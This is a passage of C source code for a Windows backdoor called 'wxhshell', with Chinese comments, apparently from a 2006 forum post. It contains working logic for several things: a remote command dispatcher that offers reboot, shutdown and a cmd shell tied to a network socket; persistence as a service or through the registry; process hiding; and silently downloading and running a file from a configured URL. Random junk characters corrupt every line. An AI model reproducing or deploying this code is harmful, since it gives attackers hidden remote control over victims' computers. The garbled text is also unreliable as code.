  else { + C7T]&5s  
cQpnEO&SL  
    switch(cmd[0]) { kReG:  
  "PpjoM ~  
  // 帮助 \Mi#{0f+q  
  case '?': { bdc\  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); i RmQ5ezk  
    break; CBD_a#K{  
  } kRIB<@{  
  // 安装 lWy=)^)4  
  case 'i': { s ?l%L!  
    if(Install()) zREJ#r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y9}8M27vQG  
    else h5@j`{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ri?\m!o  
    break; DpL8'Dib  
    } :_d3//|  
  // 卸载 w!q&  
  case 'r': { I6OSC&A`  
    if(Uninstall()) CdhSp$>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); JE%A|R<Jl  
    else ?p8k{N(1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r!/0 j)  
    break; .?#uxd~>  
    } dU;upS_-  
  // 显示 wxhshell 所在路径 -4L!k'uR  
  case 'p': { RSWcaATZN  
    char svExeFile[MAX_PATH]; fB#XhO  
    strcpy(svExeFile,"\n\r"); !jh%}JJ  
      strcat(svExeFile,ExeFile); u39FN?<^  
        send(wsh,svExeFile,strlen(svExeFile),0); lQt% Qx  
    break; vrrt@y  
    } ^GXEJU 7U  
  // 重启 Qd8b-hg  
  case 'b': { 1 ycc5=.  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); |PM m?2^R  
    if(Boot(REBOOT)) j.c8}r&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L]zNf71RD  
    else { Rlc$; Z9K  
    closesocket(wsh); 4'At.<]jL  
    ExitThread(0); LR$z0rDEM  
    } E5x]zXy4  
    break; cNP/<8dq  
    } 0P 5BArJ?  
  // 关机 kP,7Li\  
  case 'd': { :Z2tig nL  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); YQ,tt<CQ  
    if(Boot(SHUTDOWN)) By)3*<5a_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P%GkcV  
    else { %RFYm  
    closesocket(wsh); ch,|1}bi  
    ExitThread(0); .S vyj  
    }  ?f2G?Y  
    break; _5\AS+[x  
    } ^L O]Z  
  // 获取shell SgSk !lj  
  case 's': { x1DVD!0~{  
    CmdShell(wsh); _.f@Y`4d  
    closesocket(wsh); -^fzsBL.  
    ExitThread(0); 1~qm+nET\  
    break; d/B*  
  } BRtXf0~&p  
  // 退出 *h,3}\  
  case 'x': { c/$*%J<  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); +sn2Lw!^  
    CloseIt(wsh); <:cpz* G4  
    break; 0(TvQ{  
    } 7s]Wq6  
  // 离开 ]%XK)[:5_=  
  case 'q': { '?}R4w|)  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); -lp"#^ ;  
    closesocket(wsh); :J%'=_I&H  
    WSACleanup(); %1jdiHTaL  
    exit(1); #uWE2*')  
    break; z_(eQP])  
        } !"(u_dFw  
  } Dm4B  
  } BHiOQ0Fs  
{W'8T}q  
  // 提示信息 6e:P.HqjA  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $eCGez<E  
} eYDgEM  
  } 00,9azs  
5&|5 a} 8  
  return; }@*I+\W/  
} foyB{6q8  
{*__B} ,N  
// shell模块句柄 8|vld3;  
int CmdShell(SOCKET sock) ruHrv"29  
{ .WO/=# O  
STARTUPINFO si; Z3 n~&!  
ZeroMemory(&si,sizeof(si)); V#H8d_V  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; f#mx:Q.7I  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; a8NVLD>7}  
PROCESS_INFORMATION ProcessInfo; ^+a  
char cmdline[]="cmd"; gD5P!}s[u0  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); {|p"; uJ  
  return 0; B$DZ]/<  
} ^hysCc  
7AeP Gr  
// 自身启动模式 o#dcD?^  
int StartFromService(void) ~1d!hq?/q  
{ GMT or  
typedef struct AI R{s7N  
{ _y-B";Vmm  
  DWORD ExitStatus; -Qg,99M  
  DWORD PebBaseAddress; wzxdVn 'S  
  DWORD AffinityMask; E4i@|jE~)  
  DWORD BasePriority; `+fk`5Y  
  ULONG UniqueProcessId; p Dm K  
  ULONG InheritedFromUniqueProcessId; l<n5gfJ  
}   PROCESS_BASIC_INFORMATION; 1 Xa+%n9  
59K}  
PROCNTQSIP NtQueryInformationProcess; CnQg*+  
xi.IRAZX  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; a G@nErdW  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; yYBNH1  
A8mlw#`E8b  
  HANDLE             hProcess; p}f-c  
  PROCESS_BASIC_INFORMATION pbi; T(&kXMaB  
BP:(IP!&  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); CX.SYr&!R  
  if(NULL == hInst ) return 0; t,1in4sN  
"kU>~~y,  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ~r PYJ  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); l JlZHO  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); &h\CS8nT%  
V 1*Ad  
  if (!NtQueryInformationProcess) return 0; ?'Oj=k"c7  
QjqBO+  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); hXPocP  
  if(!hProcess) return 0; #_{0Ndp2  
tw-fAMwU  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; yT&x`3f"i  
n{L:MT9TD  
  CloseHandle(hProcess); lD-V9   
 2aFT<T0  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ] ZDTn  
if(hProcess==NULL) return 0; #>" }q3RO  
2Gm-\o&Td"  
HMODULE hMod; fqN75['n  
char procName[255]; "I@v&(Am;  
unsigned long cbNeeded; CJm.K  
prwC>LE  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); P3i^S_  
"* +\KPCU  
  CloseHandle(hProcess); 8,_ -0_^$  
y&y/cML?  
if(strstr(procName,"services")) return 1; // 以服务启动 T!1SMo^  
UKOFT6|  
  return 0; // 注册表启动 +8^5C,V  
} 5St`@  
i,([YsRuou  
// 主模块 eQ$e*|}"m  
int StartWxhshell(LPSTR lpCmdLine) 3;y_qwA  
{ & &6*ez  
  SOCKET wsl; luibB&p1  
BOOL val=TRUE; F. }l(KuJ  
  int port=0; %v_IX2'  
  struct sockaddr_in door; G5Je{N8W  
sRi?]9JIl  
  if(wscfg.ws_autoins) Install(); _O"L1Let  
{=s:P|ah  
port=atoi(lpCmdLine); "havi,m  
ob)Q,;8R  
if(port<=0) port=wscfg.ws_port; D DQs42[  
{K<uM'ww>  
  WSADATA data; {>wI8  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; m"<4\;GK  
1B6C<cL:sU  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   8~.iuFp  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ';&0~[R[  
  door.sin_family = AF_INET; Q! Kn|mnN  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); | O57N'/  
  door.sin_port = htons(port); /8=:qIJYA  
m5)EQE}gPp  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { xLe =d|6  
closesocket(wsl); E2Us#a  
return 1; h (qshbC}  
} 0{-`Th+h  
#fwzFS \XL  
  if(listen(wsl,2) == INVALID_SOCKET) { I ca3  
closesocket(wsl); mm_^gQ,`  
return 1; xIM8  
} =Na/3\^WP  
  Wxhshell(wsl); {%=S+89l  
  WSACleanup(); IY V-*/ |  
3\7'm]  
return 0; >vHH  
 qe[  
} VPWxHVf  
aF,j J}On  
// 以NT服务方式启动 mPckf  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) (L`l+t1  
{ ;0;3BH A  
DWORD   status = 0; f9vcf# 2  
  DWORD   specificError = 0xfffffff; ~l(G6/R  
{EOn r1  
  serviceStatus.dwServiceType     = SERVICE_WIN32; C5>{Q:.`e'  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; XI]OA7Zis  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; hN& yc  
  serviceStatus.dwWin32ExitCode     = 0; = vY]G5y  
  serviceStatus.dwServiceSpecificExitCode = 0; &1*4%N@'  
  serviceStatus.dwCheckPoint       = 0; |~z8<  
  serviceStatus.dwWaitHint       = 0; +xn&K"]:3  
4\&H?:c.  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ? UxG/]",  
  if (hServiceStatusHandle==0) return; BO8%:/37[4  
cC b>zI  
status = GetLastError(); ^Yf3"D?&  
  if (status!=NO_ERROR) w/qQ(]n8  
{ uG2Xkj  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ARmu{cL  
    serviceStatus.dwCheckPoint       = 0; BXT 80a\  
    serviceStatus.dwWaitHint       = 0; n"XdHW0  
    serviceStatus.dwWin32ExitCode     = status; Tq9,c#}&  
    serviceStatus.dwServiceSpecificExitCode = specificError; 8o!  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); )WaX2uDA?  
    return; |}M~ kJ)  
  } pZc9q8j3  
R"m.&%n  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 'wCS6_K  
  serviceStatus.dwCheckPoint       = 0; -$AjD?;   
  serviceStatus.dwWaitHint       = 0; 3js)niT9u  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); E^oEG4 X@  
} 3Qqnw{*  
-X`~;=m>U  
// 处理NT服务事件,比如:启动、停止 gcX5Q^`a=  
VOID WINAPI NTServiceHandler(DWORD fdwControl) TvQWdX=  
{ p3V9ikyy  
switch(fdwControl) A28ZSL  
{ @uQ%o%Ru6  
case SERVICE_CONTROL_STOP: r$b:1C~  
  serviceStatus.dwWin32ExitCode = 0; !JT< (I2  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; xnl<<}4pJ  
  serviceStatus.dwCheckPoint   = 0; {;]uL`abi?  
  serviceStatus.dwWaitHint     = 0; :`{9x%o;  
  { B$K7L'e+-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =@bXGMsV!  
  } ;e&hM\p  
  return; Q'FX:[@x-S  
case SERVICE_CONTROL_PAUSE: DH}s1mNMP  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; F@>w&A ~K  
  break; =_#ye}E  
case SERVICE_CONTROL_CONTINUE: &@mvw=d  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ZrmnQ  
  break; +9<,3IJe6  
case SERVICE_CONTROL_INTERROGATE: 0z#l0-NdQ  
  break; 5"76R Gw=  
}; ?3]h~( =  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); I>N-95  
} *D,v>(  
[,\'V0  
// 标准应用程序主函数 E&RoaY0  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) [VfL v.8w  
{ *T.={>HE8  
RM?_15m  
// 获取操作系统版本 8r7/IGFg  
OsIsNt=GetOsVer(); |u?k-,uI9  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Y}V)4j  
!mw{T D  
  // 从命令行安装 {q5hF5!`)  
  if(strpbrk(lpCmdLine,"iI")) Install(); o`<h=+a\  
9Q SUCN_  
  // 下载执行文件 S+` !%hJ  
if(wscfg.ws_downexe) { K9x*Sep  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) w\0Oz?N  
  WinExec(wscfg.ws_filenam,SW_HIDE);  y)N.LS  
} J ,Qy`Y B  
\GjXsR*b5  
if(!OsIsNt) { PO=ZxG   
// 如果时win9x,隐藏进程并且设置为注册表启动 Q1N,^71  
HideProc(); {GGO')p  
StartWxhshell(lpCmdLine); Y\Fuj)  
} !Szgph"ul  
else Vp- n(Z  
  if(StartFromService()) ^L*VW gi9  
  // 以服务方式启动  3L 1lq .  
  StartServiceCtrlDispatcher(DispatchTable); @B>%B EC  
else : L6-{9$  
  // 普通方式启动 GI'&g@?u  
  StartWxhshell(lpCmdLine); F1Zk9%L%9$  
j`LT`p"9S  
return 0; S2{ ?W  
}
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只看该作者 1 发表于: 2006-10-10
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